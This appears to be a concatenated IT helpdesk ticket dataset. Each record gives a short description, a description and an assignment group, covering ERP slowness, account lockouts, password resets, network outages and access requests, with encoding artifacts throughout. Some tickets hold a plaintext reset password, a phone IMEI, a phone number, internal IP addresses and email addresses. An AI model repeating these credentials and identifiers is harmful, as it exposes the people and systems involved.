, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit skype \difozlav dgbfptos \niptbwdq csenjruz, Description: probleme mit skype \difozlav dgbfptos \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: 1098572 stock issue, Description:
received from: rgtoger.lfgtiu@company.com
hello it
there is 1pcs 2109683 under plant\_283, but i can't run the dn for 7329411, please help check it, , is assigned to Assignment group: GRP\_29.Ticket with Short description: dvd palyer not working, Description: \_x000D\_
\_x000D\_
received from: gwmspqeo.vwfetaqg@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
the dvd player not working in my pc. kindly rectify.\_x000D\_
\_x000D\_
contact number: 0731105554/ #10196\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: login problems in skype., Description: login problems in skype., is assigned to Assignment group: GRP\_0.Ticket with Short description: please check pgi from delivery note 9169359948 , Description: please check pgi from delivery note 8058248837, is assigned to Assignment group: GRP\_18.Ticket with Short description: your account, Description: hello,\_x000D\_
\_x000D\_
i'm unable to login on the bcd travel side as the creation of a password failed. see below\_x000D\_
\_x000D\_
gruÃŸ , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_512 failed in job\_scheduler at: 09/22/2016 03:57:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_512 failed in job\_scheduler at: 09/22/2016 03:57:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: poland experience some response time slowness again, Description: poland experience some response time slowness again, is assigned to Assignment group: GRP\_14.Ticket with Short description: usa - (company inc.):gigabitethernet2/0/49 -interface is down since at 3:13 am et on 09/22., Description: usa - (company inc.): interface: gigabitethernet2/0/49 Â· uplink to company-na-usa-usa-conforma-3750-core-sw01 - on company-na-usa-usa-conforma-bld-1-3750-stack-sw01since at 3:13 am et on 09/22., is assigned to Assignment group: GRP\_4.Ticket with Short description: erp - SID\_34 - long response time + long runtime, Description: several users in fÃ¼rth including me are experiencing a drop in performance since some hours.\_x000D\_
opening transactions, executing transactions and extracting data out of erp takes significantly longer than usually.\_x000D\_
can you please check.\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: collaboration\_platform, Description: \_x000D\_
\_x000D\_
received from: xaertwdh.kcsagvpy@gmail.com\_x000D\_
\_x000D\_
hi\_x000D\_
please advise? my collaboration\_platform is not saving or syncing any files. the notice i get says: sync problems. , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook hangs., Description: outlook hangs., is assigned to Assignment group: GRP\_0.Ticket with Short description: EU\_tool problem - urgent-, Description: \_x000D\_
\_x000D\_
received from: xnlapdeq.wupaeqlv@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i have a problem with EU\_tool, i can not get the transfer times of our employees.\_x000D\_
the downloaded file is empty. without this datas, it is not possible to calculate the "productivity" of our plants in germany.\_x000D\_
\_x000D\_
[cid:image002.png@01SID\_354ae.6ad42a00]\_x000D\_
\_x000D\_
[cid:image003.png@01SID\_354ae.6ad42a00]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ssen / with kind , is assigned to Assignment group: GRP\_25.Ticket with Short description: frequent account lock out., Description: hello can you please do the daily reset of my vpn password. my account is vanghtydec. every second time i log in the password is blocked.
can please solve this problem on a structural basis?
contact :
user : vanghtydec, is assigned to Assignment group: GRP\_0.Ticket with Short description: please provide permission to the files in m:\it department\networking, Description: please provide permission to the files in m:\it department\networking, is assigned to Assignment group: GRP\_12.Ticket with Short description: mikrofon vom mobiltelefon gigaset sl 3 defekt! , Description: bitte telefon tauschen., is assigned to Assignment group: GRP\_33.Ticket with Short description: ship-to creation error, Description: since we have many users that have multiple sold-tos assigned to their profile (eg. mfg\_tooltors, distributors), there is an issue when they add new ship-to.\_x000D\_
1. create new ship-to related to the current selected sold-to ( works fine )\_x000D\_
2. change the sold-to and create the exact same ship-to ( system error: ship-to already exists )\_x000D\_
that is a problem, as user cannot create the same recipient address for multiple different sold-tos. the duplication check should only be done against the existing ship-tos of the currently selected sold-to.\_x000D\_
, is assigned to Assignment group: GRP\_20.Ticket with Short description: full access to oe drive fÃ¼rth, Description: \_x000D\_
\_x000D\_
received from: scjxobhd.ldypjkmf@gmail.com\_x000D\_
\_x000D\_
hello help team ,\_x000D\_
\_x000D\_
can you pls. arrange full access for oscar usero and ivbkzcma nrehuqpa to the following oe drive on teams\\eagcldaten:\_x000D\_
\_x000D\_
\_x000D\_
\\eagcldaten\teams\oe-12\_kata<file://eagcldaten/teams/oe-12\_kata>\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_34.Ticket with Short description: please help to logon erp system, Description: \_x000D\_
\_x000D\_
received from: rtjwbuev.gfpwdetq@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
i am unable to logon erp system now. so please help me to check it. many , is assigned to Assignment group: GRP\_0.Ticket with Short description: power outage: engineering\_toolkuznetsk warehouse - (company):interface vlan1 is down since at 1:13 am et on 09/22., Description: engineering\_toolkuznetsk warehouse - (company):vlan1 interface is down since at 1:13 am et on 09/22., is assigned to Assignment group: GRP\_8.Ticket with Short description: awb 0276036761 / sin - jnb , Description: hi johthryugftyson
any update form it team as i want to close this issue.
, is assigned to Assignment group: GRP\_18.Ticket with Short description: bitte erstellen sie mir eine liste Ã¼ber alle berechtigungen bzw zugriffe von cvltebaj yzmcfxah (rostuhhwr), Description: bitte erstellen sie mir eine liste Ã¼ber alle berechtigungen bzw zugriffe von cvltebaj yzmcfxah (rostuhhwr), is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to create new or any exepnse report - info type '0017' error , Description: user is a new employee and unable to create expense report and getting error as mentioned in screenshot, please find the attachment, is assigned to Assignment group: GRP\_10.Ticket with Short description: i can not log in erp, Description: password logon no longer possible - too many failed attempts, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa access for configuring outlook exchange on windows phone , Description: usa access for configuring outlook exchange on windows phone , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for qdbfemro mcsqzlvd using password\_management\_tool password reset., Description: i can not log in erp, is assigned to Assignment group: GRP\_17.Ticket with Short description: plm response is very slow, Description: \_x000D\_
\_x000D\_
received from: hctduems.znalhivf@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
good day!\_x000D\_
\_x000D\_
from morning it's been observed like plm response is very slow.\_x000D\_
\_x000D\_
kindly take the action against it.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: users are complaining that erp response is very slow & getting disconnected frequently., Description: users are complaining that erp response is very slow & getting disconnected frequently., is assigned to Assignment group: GRP\_14.Ticket with Short description: given name and sur name changes required in windows domin, Description: given name and surname changes required in windows domain. please change it to \_x000D\_
hnkwirgv wdgebvpzagavan\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: erp slow response, Description:
received from: kugwsrjz.xnygwtle@gmail.com
erp has been very slow and takes more than 30 seconds to execute a transaction
gurhyqsath j
india
kugwsrjz.xnygwtle@gmail.com<mailto:kugwsrjz.xnygwtle@gmail.com>
, is assigned to Assignment group: GRP\_14.Ticket with Short description: apac company:fastethernet0/48 - company-ap-chn-apac-shop-closet-2960-access-sw01 is down since at 20:03 et on 09/21, Description: apac company: company-ap-chn-apac-shop-closet-2960-access-sw01.company.com - fastethernet0/48 Â· uplink to company-ap-chn-apac-2950-24-access-sw05 since at 20:03 et on 09/21, is assigned to Assignment group: GRP\_4.Ticket with Short description: security\_tool notification: password verification failure for monitoring\_tool azure server clhqsm029, Description: from: ugyothfz ugrmkdhx
sent: thursday, september 22, 2016 8:37 am
to: ntteam <ntteam@company.com>; stefyty dabhruji <slzhuipc.sqntcber@gmail.com>; xomkhzrq vytqlphd <boxrlpec.fnkhwytl@gmail.com>; datacenter <datacenter@company.com>
cc: bhayhtrathramdnty mamilujli <bhayhtrathramdnty mamilujli@company.com>; gzhapcld fdigznbk <rubiargty.fatgrtyma@company.com>; hnynhsth jsuyhwssad <bxspwfyo.vzystwor@gmail.com>; kathght shfhyw <afkstcev.utbnkyop@gmail.com>
subject: clhqsm029 : notification: password verification failure
hello windows server support, nvyjtmca xjhpznds operations,
we have received a password verification failure in security\_tool when attempting to connect to the monitoring\_tool azure server clhqsm029. it looks like this server exits in the company domain, but we are unable to connect to this server.
please find the log details in the alert below and confirm if the server is still active or decommissioned. , is assigned to Assignment group: GRP\_2.Ticket with Short description: apac- china and apac plant have reported erp slowness, Description: apac- china and apac plant have reported erp slowness, is assigned to Assignment group: GRP\_14.Ticket with Short description: acct 70939408, Description:
received from: nkthumgf.mwgdenbs@gmail.com
this account was extended to div. 02 in crm on tuesday but the new extension has not replicated to SID\_34 yet. please advise.
nkthumgf mwgdenbs
nkthumgf.mwgdenbs@gmail.com<mailto:nkthumgf.mwgdenbs@gmail.com>
ph:
, is assigned to Assignment group: GRP\_15.Ticket with Short description: outlook isue : user called back., Description: \_x000D\_
\_x000D\_
received from: vxzahrlc.frtkpehy@gmail.com\_x000D\_
\_x000D\_
i keep having to restart outlook and my computer.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: dell 7350: sound issue., Description: dell 7350: sound issue.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-installed the sound drivers.\_x000D\_
-restarted the pc.sound is working fine now.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_47filesys failed in job\_scheduler at: 09/21/2016 17:49:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_47filesys failed in job\_scheduler at: 09/21/2016 17:49:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: my account (user = morhyerw) is being repeatedly locked. please run a trace to determine the cause., Description: for the past two days, my account has been repeatedly locked. i have not been entering the wrong password thrgxqsuojr xwbesorfs in a row on my pc (10.170.3.189). keyhtyvin toriaytun has unlocked it several times. keyhtyvin has asked me to request a trace to determine what is causing my account to be locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not launching., Description: outlook not launching.
-connected to the user system using teamviewer.
-uninstalled and reinstalled mscrm.
-restarted the pc.
-caller confirmed that he is now able to see the emails on outlook.
-issue resolved.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: workflow, Description:
received from: nealxjbc.owjduxai@gmail.com
i used to be the supervisor over usa. in july this was changed to efqhmwpj tgeynlvr being the supervisor over that location. credit memo's and returns are still coming to my workflow and i have to forward to them. today i was informed that nuhfwplj ojcwxser is now the team lead over usa/ usa/usa and these should be sent to her. can you update erp so these get routed properly?
nealxjbc owjduxai
customer service supervisor
nealxjbc.owjduxai@gmail.com<mailto:nealxjbc.owjduxai@gmail.com>
, is assigned to Assignment group: GRP\_13.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that she was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to login to vpn,, Description: not able to login to vpn,\_x000D\_
-advised the caller to restart the system and check the internet connection.\_x000D\_
updated the drivers.\_x000D\_
-advised the caller to logon to the company vpn.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: network problems (multiple applications are running slow), Description: how did you determine there are network problems ? error: web page not recovering in mii\_x000D\_
\_x000D\_
is only erp slow ? (please use the quick ticket within the erp folder if only erp is running slow) erp mii\_x000D\_
\_x000D\_
are more than one transactions impacted? operator dashbankrd\_x000D\_
\_x000D\_
what erp server are you on (server name is located in the status bar at the bottom \_x000D\_
right of your screen) ? SID\_34\_x000D\_
\_x000D\_
do other co-workers also notice slow response times in erp ? yes. it happened on multiple machines\_x000D\_
\_x000D\_
what other applications are running slow ? mii is the only application available to operators\_x000D\_
\_x000D\_
can you access your data files on the server ?\_x000D\_
\_x000D\_
any other comments or issues with other systems ? this slow response happens during shift change when a lot of activity on the system. 645-715 and 245-315, is assigned to Assignment group: GRP\_41.Ticket with Short description: vip 1: please add me to the allowed sender list for the usx team members., Description: please add me to the allowed sender list for the usx team members., is assigned to Assignment group: GRP\_26.Ticket with Short description: engineering\_tool not working, Description: name:mikhghytr
language:
browser:microsoft internet explorer
email:vcyktjxp.uxdojvrq@gmail.com
customer number:
telephone:
summary:i cant load the company home page or engineering\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked and reset the erp id to"daypay3".\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: call came and got disconnected, Description: call came and got disconnected, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to update passwords on all accounts, Description: unable to update passwords on all accounts, is assigned to Assignment group: GRP\_0.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked the erp id.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot print to prtqx1248 on pc rqxw8514035 anymore, prints stall in print queue., Description: cannot print to prtqx1248 on pc rqxw8514035 anymore, prints stall in print queue., is assigned to Assignment group: GRP\_3.Ticket with Short description: request to remove 1 day pick route logic from supply\_chain for customers 81163582 & 81183209 in plant\_101 view., Description: name:xnqzhtwu hivumtfz
language:
browser:microsoft internet explorer
email:xnqzhtwu.hivumtfz@gmail.com
customer number:
telephone:
summary:request to remove 1 day pick route logic from supply\_chain for customer 81163582 in plant\_101 view., is assigned to Assignment group: GRP\_18.Ticket with Short description: computer crashed after a reboot, Description: computer crashed after a reboot, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to outlook, Description: name:mikhghytr
language:
browser:microsoft internet explorer
email:vcyktjxp.uxdojvrq@gmail.com
customer number:
telephone:
summary:i cant connect to outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update inplant\_862604, Description: ticket update inplant\_862604, is assigned to Assignment group: GRP\_0.Ticket with Short description: email search option issue, Description: \_x000D\_
\_x000D\_
received from: xyculgav.cuqptoah@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am not able to search emails using from or subject option as only few of the cases come.\_x000D\_
hence it is becoming very difficult to retrieve past details which is required for many reference .\_x000D\_
\_x000D\_
plus the address book details are also not sync automatically .\_x000D\_
\_x000D\_
pl help in fixing the same.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: r: ticket\_no1402627 change in report zsdslsum - last email, Description: \_x000D\_
\_x000D\_
received from: xawlkiey.demjqrfl@gmail.com\_x000D\_
\_x000D\_
pethrywr, lauthry\_x000D\_
sorry but i'm still waiting your confirmation that this was agreed globally within finance team (am, emea, apac) in order to move on .\_x000D\_
this is not an otc report, it's only used by your finance team.\_x000D\_
\_x000D\_
if i'm not receiving a confirmation, i'm sorry but i have to cancel the ticket. i'll will wait till oct.15, 2016 then i have to cancel.\_x000D\_
\_x000D\_
hope you comprehend.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_64.Ticket with Short description: account expired for user coumikzb ubfcwegt, Description: account expired for user coumikzb ubfcwegt
user id -viruhytph, is assigned to Assignment group: GRP\_2.Ticket with Short description: company emails on personal smartphone, Description: company emails on personal smartphone, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa:interface down on tengigabitethernet1/5 tech-4500x (a)-(10.1.200.2) since at 10:28 am et on 09/21. , Description: interface down - on tengigabitethernet1/5 Â· connection to tech-4500x (a) - (10.1.200.2) .\_x000D\_
interface down - on tengigabitethernet1/1/1 Â· dr l3 connection to 6500 top (10.1.200.1), is assigned to Assignment group: GRP\_4.Ticket with Short description: dell 7350:sound issue with skype calls., Description: dell 7350:sound issue with skype calls.
-connected to the user system using teamviewer.
-upgraded the system bios.
-restarted the pc.checked the skype audio settings.
-gave a uacyltoe hxgaycze call to the user through skype.
-audio is now working fine.
contact : , is assigned to Assignment group: GRP\_0.Ticket with Short description: berechtigung fÃ¼r ordner einrichten, Description: ich benÃ¶tige fÃ¼r folgende personen aus germany die angegeben berechtigung fÃ¼r den ordner: \\HostName\_705\teams\schlammversand-sludgeshipping.
nur leseberechtigung:
b. hoscgthke / pl metallurgie
th. langhdte / pl schneidkÃ¶rper
g. hbyoyer / pl stÃ¤befertigung
b. dahytrda / sv distribution
d. retzkowski / controlling
b. chsbhuo / controlling
, is assigned to Assignment group: GRP\_33.Ticket with Short description: requesting un-install and re-install of excel 2013, Description: i am currently running into issues with my "context menu" which is displayed when i right click in an excel document. the menu does not pop-up in any of my excel documents, and i frequently use it to format cells when working in files. please assist, , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_862569, Description: ticket update on inplant\_862569, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call , Description: blank call , is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call , Description: blank call , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect projector, Description: \_x000D\_
\_x000D\_
received from: aljbtwsh.lepkbgix@gmail.com\_x000D\_
\_x000D\_
dear sir/ ma'am,\_x000D\_
\_x000D\_
i am unable to connect the projector on my system.\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_19.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: mii password reset, Description: mii password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1387 failed in job\_scheduler at: 09/21/2016 11:17:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1387 failed in job\_scheduler at: 09/21/2016 11:17:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: erp access issue - SID\_1, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_1
enter user id of user having the issue: nehsytwrrej
transaction code(s) the user needs or was working with: grwtfer
describe the issue:
see attachment
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.
attached
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: re: need a little help--please, Description:
received from: damuphws.arkulcoi@gmail.com
good morning:
yes, we use z\_chk in usa as well.
have a good day..
damuphws arkulcoi
shipping/inventory specialist
company, inc.
damuphws.arkulcoi@gmail.com
from: smxoklny hbecskgl
sent: wednesday, september 21, 2016 10:04 am
to: chnagdrtymk an; damuphws arkulcoi; company@ticketing\_tool.com
cc: eples
subject: re: need a little help--please
chahdtyru,
i have confirmed that usa is using z\_chk to process.
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: ç­”å¤: ç­”å¤: order products online problem, Description: \_x000D\_
\_x000D\_
received from: fkdazsmi.yecbrofv@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i will ask your help if i can't solve it with the help of my boss tomorrow. , is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call // gso loud noise, Description: blank call // gso loud noise, is assigned to Assignment group: GRP\_0.Ticket with Short description: ç­”å¤: ç­”å¤: order products online problem, Description: \_x000D\_
\_x000D\_
received from: fkdazsmi.yecbrofv@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i will ask your help if i can't solve it with the help of my boss tomorrow. , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_1 account locked out, Description: erp SID\_1 account locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: re: need a little help--please, Description:
received from: smxoklny.hbecskgl@gmail.com
chandruhdty,
i have confirmed that usa is using z\_chk to process.
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: laptop not booting up, Description: laptop not booting up, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0442388, Description: ticket update on ticket\_no0442388, is assigned to Assignment group: GRP\_0.Ticket with Short description: need to check if sdlixwmb zvygmnco's account is locked, Description: need to check if sdlixwmb zvygmnco's account is locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: hwbipgfq.sqiyfdax@gmail.com called to check how to change the lanhuage of office, Description: hwbipgfq.sqiyfdax@gmail.com called to check how to change the lanhuage of office, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to update passwords , Description: unable to update passwords , is assigned to Assignment group: GRP\_0.Ticket with Short description: vip2: erp SID\_34 account unlock, Description: vip2: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: crm configuration and password reset, Description: crm configuration and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: general enquiry about engineering\_tool installation on windows xp, Description: general enquiry about engineering\_tool installation on windows xp, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage :canada, ontario - (company):site is hard down since at 10:01 am et on 09/21., Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_10:01 am et on 09/21\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: please activate my new company owned samsung s7 galaxy for office 365 access, Description: \_x000D\_
\_x000D\_
received from: nwfoucba.dzbujamc@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please activate my new company owned samsung s7 galaxy for office 365 access:\_x000D\_
\_x000D\_
gerÃ¤temodell:\_x000D\_
\_x000D\_
sm-g930f\_x000D\_
\_x000D\_
gerÃ¤tetyp:\_x000D\_
\_x000D\_
samsungsmg930f\_x000D\_
\_x000D\_
gerÃ¤te-id:\_x000D\_
\_x000D\_
sec1e1f38f42937a\_x000D\_
\_x000D\_
gerÃ¤tebetriebssystem:\_x000D\_
\_x000D\_
android 6...1\_x000D\_
\_x000D\_
gerÃ¤tebenutzer-agent:\_x000D\_
\_x000D\_
android-samsung-sm-g930f/101.60001\_x000D\_
\_x000D\_
gerÃ¤te-imei:\_x000D\_
\_x000D\_
353555080301662\_x000D\_
\_x000D\_
exchange activesync-version:\_x000D\_
\_x000D\_
14.1\_x000D\_
\_x000D\_
gerÃ¤tezugriffsstatus:\_x000D\_
\_x000D\_
quarantined\_x000D\_
\_x000D\_
grund fÃ¼r gerÃ¤tezugriffsstatus:\_x000D\_
\_x000D\_
global\_x000D\_
\_x000D\_
\_x000D\_
you can remove the existing samsung galaxy s5 device from my account, but do not remove any other devices that have access to my account.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to load outlook , Description: unable to load outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: .companyfoundation@kcompany.com and .relations@company.com but doesn't work, Description: need to add two mailboxes to outlook (still working with outlook 2010) .companyfoundation@kcompany.com and .relations@company.com but doesn't work, is assigned to Assignment group: GRP\_0.Ticket with Short description: drucker wk20 defekt, Description: drucker wk20 defekt, is assigned to Assignment group: GRP\_33.Ticket with Short description: password reset as it is expired, Description: password reset as it is expired, is assigned to Assignment group: GRP\_0.Ticket with Short description: modify teamsales sproc to calculate full ytd instead of delta, Description: the current team sproc calculates a delta value and adds it in to the previous period ytd sales to get the full ytd sales. this needs to be changed. instead of calculating a delta, the procedure will calculate a true ytd number by applying current allocations percentages retroactively and by summing all direct revenue and adjustments together., is assigned to Assignment group: GRP\_25.Ticket with Short description: infopath links to discount forms do not open, Description: hello,\_x000D\_
discount team in poznaÅ„ is unable to open discount request forms from links in our inboxes - error occurs - this hugely impacts the team's productivity - please address as soon as possible. attached are two print screens - one with an example of said links, one with the error that occurs when trying to open a discount form., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to load erp, Description: unable to load erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: recall: ticket\_no1551667 - due date has been updated to 09-30-2016 09:16:47 edt, Description: \_x000D\_
\_x000D\_
received from: riqmdnzs.mtlghwex@gmail.com\_x000D\_
\_x000D\_
riqmdnzs mtlghwex would like to recall the message, "ticket\_no1551667 - due date has been updated to 09-30-2016 09:16:47 edt".\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: connect 2 in 1 to companysecure, Description: connect 2 in 1 to companysecure, is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to get on network drives, Description: unable to get on network drives, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot provide data into crm, Description: i can't provide information in crm - during working on it , website is stopping my job and showing that kind of alert which i have attached. it's happening from yesterday to today every second or every time when i am starting fill data. this has worked before just started happening\_x000D\_
, is assigned to Assignment group: GRP\_15.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: due to new hardware usa access to exchange account., Description: die synchronisierung mit exchange activesync ist auf ihrem gerÃ¤t vorÃ¼bergehend blockiert, bis der zugriff vom administrator gewÃ¤hrt wird., is assigned to Assignment group: GRP\_0.Ticket with Short description: erro programdntya docad, Description: please, this problem is related it south\_amerirtca.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_62.Ticket with Short description: loop back ip for primary router at erkheim went unreachable, Description: loop back ip for primary router at erkheim went unreachable, is assigned to Assignment group: GRP\_4.Ticket with Short description: account lock out., Description: account lock out., is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot open new lean tracker form, Description: \_x000D\_
\_x000D\_
received from: saerpwno.qsdfmakc@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
greetings for the day..!\_x000D\_
\_x000D\_
please help me to open the fy17 "add a lean event" form. when i tried to open it i got the following message it said me to update my infopath with newer version.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_3542b.d1ad7200]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: monitor in der stÃ¤be-endkontrolle defekt, Description: monitor in der stÃ¤be-endkontrolle defekt, is assigned to Assignment group: GRP\_33.Ticket with Short description: user password, Description: \_x000D\_
\_x000D\_
received from: bswlorek.yhdrlgbs@gmail.com\_x000D\_
\_x000D\_
hi team,\_x000D\_
\_x000D\_
could you please reset password from user â€ždw0021" to daypay3?\_x000D\_
the user forgot her password.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: bwa index for bw queries failed due to bwa server is overloaded, Description: dear team,\_x000D\_
\_x000D\_
we are facing errors in bwa indexing of quer) in SID\_37 due to bwa server is over loaded error. i have checked the filters for those queries and it is only for 3 months' data (fy 17).\_x000D\_
\_x000D\_
please suggest if all the servers (bwa) are not overloaded and operating fine and request to provide a resolution at an earliest.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: problems with creating pgi in transaction vl02n, because we can't enter the batch, Description: problems with creating pgi in transaction vl02n, because we can't enter the batch when we need it, and every time when we need enter the batch we asking about it our german warehouse colleagues. they sad us, that this function are locked in my erp account. could you help me please?, is assigned to Assignment group: GRP\_18.Ticket with Short description: maus defekt ., Description: hallo ,\_x000D\_
ich und howfanzi siavgtby brauchen eine neue anstÃ¤ndige maus.\_x000D\_
wÃ¤hre schÃ¶n wenn du sie kurzfristig uns vorbei bringen kÃ¶nnuacyltoe hxgaycze.\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: maus defekt, Description: hallo ,\_x000D\_
ich und howfanzi siavgtby brauchen eine neue anstÃ¤ndige maus.\_x000D\_
wÃ¤hre schÃ¶n wenn du sie kurzfristig uns vorbei bringen kÃ¶nnuacyltoe hxgaycze.\_x000D\_
